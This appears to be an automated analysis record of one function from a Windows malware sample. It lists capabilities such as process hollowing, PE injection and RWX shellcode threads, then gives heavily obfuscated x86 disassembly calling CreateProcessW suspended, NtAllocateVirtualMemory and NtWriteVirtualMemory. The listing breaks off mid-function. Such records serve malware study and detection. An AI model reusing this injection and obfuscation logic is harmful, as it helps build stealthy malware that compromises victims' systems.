Function at 0x10009510
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [0x1006f004]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x194], 0x90ace577
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x198], eax
sub eax, 0x80535594
je 0x10010156
jmp 0x1000954c
mov eax, dword [ebp - 0x198]
sub eax, 0x808727e6
je 0x1000f99b
jmp 0x10009562
mov eax, dword [ebp - 0x198]
sub eax, 0x81dddf6f
je 0x1000d021
jmp 0x10009578
mov eax, dword [ebp - 0x198]
sub eax, 0x81f10820
je 0x10010108
jmp 0x1000958e
mov eax, dword [ebp - 0x198]
sub eax, 0x825fbaee
je 0x1000e45e
jmp 0x100095a4
mov eax, dword [ebp - 0x198]
sub eax, 0x83b67dff
je 0x1000f93b
jmp 0x100095ba
mov eax, dword [ebp - 0x198]
sub eax, 0x84170212
je 0x1000f94a
jmp 0x100095d0
mov eax, dword [ebp - 0x198]
sub eax, 0x84344863
je 0x10010515
jmp 0x100095e6
mov eax, dword [ebp - 0x198]
sub eax, 0x85700198
je 0x1000e46d
jmp 0x100095fc
mov eax, dword [ebp - 0x198]
sub eax, 0x86c0b92d
je 0x1000d0f7
jmp 0x10009612
mov eax, dword [ebp - 0x198]
sub eax, 0x876d8de9
je 0x1000f43e
jmp 0x10009628
mov eax, dword [ebp - 0x198]
sub eax, 0x87a6ca11
je 0x1000f102
jmp 0x1000963e
mov eax, dword [ebp - 0x198]
sub eax, 0x87cd4486
je 0x1000cbd7
jmp 0x10009654
mov eax, dword [ebp - 0x198]
sub eax, 0x88eb76f8
je 0x1000fb02
jmp 0x1000966a
mov eax, dword [ebp - 0x198]
sub eax, 0x89143e49
je 0x1000de9c
jmp 0x10009680
mov eax, dword [ebp - 0x198]
sub eax, 0x89552d81
je 0x1000fef5
jmp 0x10009696
mov eax, dword [ebp - 0x198]
sub eax, 0x8d4e2b1a
je 0x1000bb39
jmp 0x100096ac
mov eax, dword [ebp - 0x198]
sub eax, 0x8d9f6b57
je 0x10010314
jmp 0x100096c2
mov eax, dword [ebp - 0x198]
sub eax, 0x8eae00fd
je 0x1001058b
jmp 0x100096d8
mov eax, dword [ebp - 0x198]
sub eax, 0x8fd81c59
je 0x1000ef07
jmp 0x100096ee
mov eax, dword [ebp - 0x198]
sub eax, 0x90ace577
je 0x1000b063
jmp 0x10009704
mov eax, dword [ebp - 0x198]
sub eax, 0x93af0f0c
je 0x1000d8b9
jmp 0x1000971a
mov eax, dword [ebp - 0x198]
sub eax, 0x93d00671
je 0x1000e0ca
jmp 0x10009730
mov eax, dword [ebp - 0x198]
sub eax, 0x94b6d66f
je 0x1000d9e0
jmp 0x10009746
mov eax, dword [ebp - 0x198]
sub eax, 0x94cebe48
je 0x10010117
jmp 0x1000975c
mov eax, dword [ebp - 0x198]
sub eax, 0x95ca3205
je 0x1000ea87
jmp 0x10009772
mov eax, dword [ebp - 0x198]
sub eax, 0x96066c34
je 0x1000d180
jmp 0x10009788
mov eax, dword [ebp - 0x198]
sub eax, 0x969f9eff
je 0x1000b8c8
jmp 0x1000979e
mov eax, dword [ebp - 0x198]
sub eax, 0x97f69a1d
je 0x1000cee4
jmp 0x100097b4
mov eax, dword [ebp - 0x198]
sub eax, 0x9855d4d3
je 0x1000dd48
jmp 0x100097ca
mov eax, dword [ebp - 0x198]
sub eax, 0x9997edf1
je 0x1000b3d5
jmp 0x100097e0
mov eax, dword [ebp - 0x198]
sub eax, 0x9ac5059d
je 0x1000cbf8
jmp 0x100097f6
mov eax, dword [ebp - 0x198]
sub eax, 0x9acc9be7
je 0x1000dc34
jmp 0x1000980c
mov eax, dword [ebp - 0x198]
sub eax, 0x9c3a584a
je 0x100104bf
jmp 0x10009822
mov eax, dword [ebp - 0x198]
sub eax, 0x9c8ee06d
je 0x1000c245
jmp 0x10009838
mov eax, dword [ebp - 0x198]
sub eax, 0x9cf186dc
je 0x1000c009
jmp 0x1000984e
mov eax, dword [ebp - 0x198]
sub eax, 0xa267a002
je 0x1000f2e2
jmp 0x10009864
mov eax, dword [ebp - 0x198]
sub eax, 0xa3dd02a1
je 0x100101aa
jmp 0x1000987a
mov eax, dword [ebp - 0x198]
sub eax, 0xa3dd3958
je 0x1001021a
jmp 0x10009890
mov eax, dword [ebp - 0x198]
sub eax, 0xa3f8da25
je 0x1000e838
jmp 0x100098a6
mov eax, dword [ebp - 0x198]
sub eax, 0xa428cacb
je 0x1000f850
jmp 0x100098bc
mov eax, dword [ebp - 0x198]
sub eax, 0xa5e84feb
je 0x1000c3d3
jmp 0x100098d2
mov eax, dword [ebp - 0x198]
sub eax, 0xa6294159
je 0x1000f79f
jmp 0x100098e8
mov eax, dword [ebp - 0x198]
sub eax, 0xa830d8f7
je 0x1000dbc6
jmp 0x100098fe
mov eax, dword [ebp - 0x198]
sub eax, 0xa9e38460
je 0x1000e14f
jmp 0x10009914
mov eax, dword [ebp - 0x198]
sub eax, 0xab386666
je 0x1000cfa4
jmp 0x1000992a
mov eax, dword [ebp - 0x198]
sub eax, 0xac2c9d88
je 0x1000bda7
jmp 0x10009940
mov eax, dword [ebp - 0x198]
sub eax, 0xac6ef338
je 0x1000b443
jmp 0x10009956
mov eax, dword [ebp - 0x198]
sub eax, 0xac987a58
je 0x1000e28d
jmp 0x1000996c
mov eax, dword [ebp - 0x198]
sub eax, 0xac9a32b4
je 0x1000c0ab
jmp 0x10009982
mov eax, dword [ebp - 0x198]
sub eax, 0xae555625
je 0x1000cf3c
jmp 0x10009998
mov eax, dword [ebp - 0x198]
sub eax, 0xaf3d52da
je 0x1000c666
jmp 0x100099ae
mov eax, dword [ebp - 0x198]
sub eax, 0xafd9895b
je 0x10010132
jmp 0x100099c4
mov eax, dword [ebp - 0x198]
sub eax, 0xb0a270c1
je 0x1000b6ca
jmp 0x100099da
mov eax, dword [ebp - 0x198]
sub eax, 0xb103eef5
je 0x1000fb11
jmp 0x100099f0
mov eax, dword [ebp - 0x198]
sub eax, 0xb2eb7c3b
je 0x1000ea96
jmp 0x10009a06
mov eax, dword [ebp - 0x198]
sub eax, 0xb34ab26d
je 0x1000d556
jmp 0x10009a1c
mov eax, dword [ebp - 0x198]
sub eax, 0xb4872140
je 0x1000c323
jmp 0x10009a32
mov eax, dword [ebp - 0x198]
sub eax, 0xb51191c9
je 0x1000beaa
jmp 0x10009a48
mov eax, dword [ebp - 0x198]
sub eax, 0xb53d68be
je 0x1000f40f
jmp 0x10009a5e
mov eax, dword [ebp - 0x198]
sub eax, 0xb6b34dc0
je 0x1000f045
jmp 0x10009a74
mov eax, dword [ebp - 0x198]
sub eax, 0xb781eb5e
je 0x1000c79c
jmp 0x10009a8a
mov eax, dword [ebp - 0x198]
sub eax, 0xb880df1d
je 0x10010332
jmp 0x10009aa0
mov eax, dword [ebp - 0x198]
sub eax, 0xb8dfdb41
je 0x1000ccba
jmp 0x10009ab6
mov eax, dword [ebp - 0x198]
sub eax, 0xb9ecf766
je 0x1000c5ee
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001760
add esp, 4
lea eax, [0x1001c1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001760
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4d000
call fcn.10001040
add esp, 8
lea eax, section..data
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x194], 0xfd136bf2
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x87a6ca11
mov ecx, 0xac6ef338
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
mov dword [eax], 0x10007
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x1b62a387
sub edx, 1
sub edx, 0x1b62a387
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87a6ca11
mov ecx, 0xb93f8d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov edx, dword [ebp - 0x180]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x194], 0xf2c7bf1b
jmp 0x100107de
mov dword [ebp - 0x194], 0x641d1c89
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x22baaffe
sub edx, 1
sub edx, 0x22baaffe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5e7b44a0
mov ecx, 0xe116527e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xf8], eax
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4257a0aa
mov ecx, 0xcaeef9db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov edx, dword [ebp - 0xf8]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x194], 0xf13e9b70
jmp 0x100107de
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x174]
add eax, 4
mov dword [ebp - 0xe8], eax
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x5b343129
sub edx, 1
sub edx, 0x5b343129
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7a2b3790
mov ecx, 0x3c28da8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [ebp - 0xe8]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0xec]
mov eax, 0x42584dd3
mov ecx, 0x2bb4c536
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1c5b69d7
mov ecx, 0x18ed4823
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x742b6be
jmp 0x100107de
mov eax, dword [ebp - 0x164]
mov dword [eax], 0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xe0], eax
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94cebe48
mov ecx, 0xfc67bb2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x570be49
mov ecx, 0x45e10e4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80535594
mov ecx, 0x4648ccbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dl, byte [ebp - 0xcd]
mov eax, 0xed31bca9
mov ecx, 0x9ac5059d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0xa6598553
sub edx, 1
sub edx, 0xa6598553
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x58bbbead
mov ecx, 0x532ac2fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x45be4d91
jmp 0x100107de
mov dword [ebp - 0x194], 0x589ece35
jmp 0x100107de
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1730a278
mov ecx, 0xab386666
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x3ac20baf
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x1fdb7c34
sub edx, 1
sub edx, 0x1fdb7c34
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x59f5af0d
mov ecx, 0x7d0b700d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0xb8], eax
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x785576b4
mov ecx, 0xe2c41b61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov edx, dword [ebp - 0xb8]
mov eax, 0x85700198
mov ecx, 0xf2c5c127
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x6328ba94
jmp 0x100107de
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x9c], ax
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0x106a056a
sub edx, 1
add edx, 0x106a056a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x39e77088
mov ecx, 0x3b18bbcd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov edx, dword [ebp - 0x148]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0x7592155b
sub edx, 1
add edx, 0x7592155b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8c3f074
mov ecx, 0xe9b7903f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf2361822
mov ecx, 0x9acc9be7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0x51090c96
sub edx, 1
sub edx, 0x51090c96
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2361822
mov ecx, 0x3c2ae166
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
sub edx, 0xc59e81d4
sub edx, 1
add edx, 0xc59e81d4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa428cacb
mov ecx, 0x68b2383f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [ebp - 0x94]
mov edx, dword [eax]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0xe264b177
sub edx, 1
sub edx, 0xe264b177
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84170212
mov ecx, 0xfc94d175
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x44a2e666
jmp 0x100107de
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
mov edx, ecx
add edx, 0x9aebd19e
sub edx, 1
sub edx, 0x9aebd19e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf7cc5ae3
mov ecx, 0xc1abeacd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x560b7900
jmp 0x100107de
mov dword [ebp - 0x194], 0x85700198
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe30bddff
mov ecx, 0x6e4cdca5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dl, byte [ebp - 0x79]
mov eax, 0xb2eb7c3b
mov ecx, 0xf5274f13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x3cfd09ac
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x35264257
mov ecx, 0x7736b075
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x1d3eba04
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0x18cb128f
sub edx, 1
add edx, 0x18cb128f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x645e1d34
mov ecx, 0x616fc163
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
mov dword [eax], 0x10007
mov dword [ebp - 0x194], 0xac6ef338
jmp 0x100107de
mov dword [ebp - 0x194], 0xe116527e
jmp 0x100107de
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0
mov dword [ebp - 0x194], 0xb9ecf766
jmp 0x100107de
mov ecx, dword [0x10070288]
mov eax, dword [0x10070284]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc3cdfebc
mov ecx, 0x533c092c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 0x148]
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
add edx, 0x42bf85b2
sub edx, 1
sub edx, 0x42bf85b2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c3a584a
mov ecx, 0x38e0f3f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0x4077a226
sub edx, 1
add edx, 0x4077a226
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe077750d
mov ecx, 0xca1537f4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x100107de
mov dword [ebp - 0x194], 0x68b2383f
jmp 0x100107de
mov eax, dword [0x10070288]
mov ecx, dword [0x10070284]
mov edx, eax
sub edx, 0xffd5649d
sub edx, 1
add edx, 0xffd5649d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84344863
mov ecx, 0x808727e6
test dl, 1
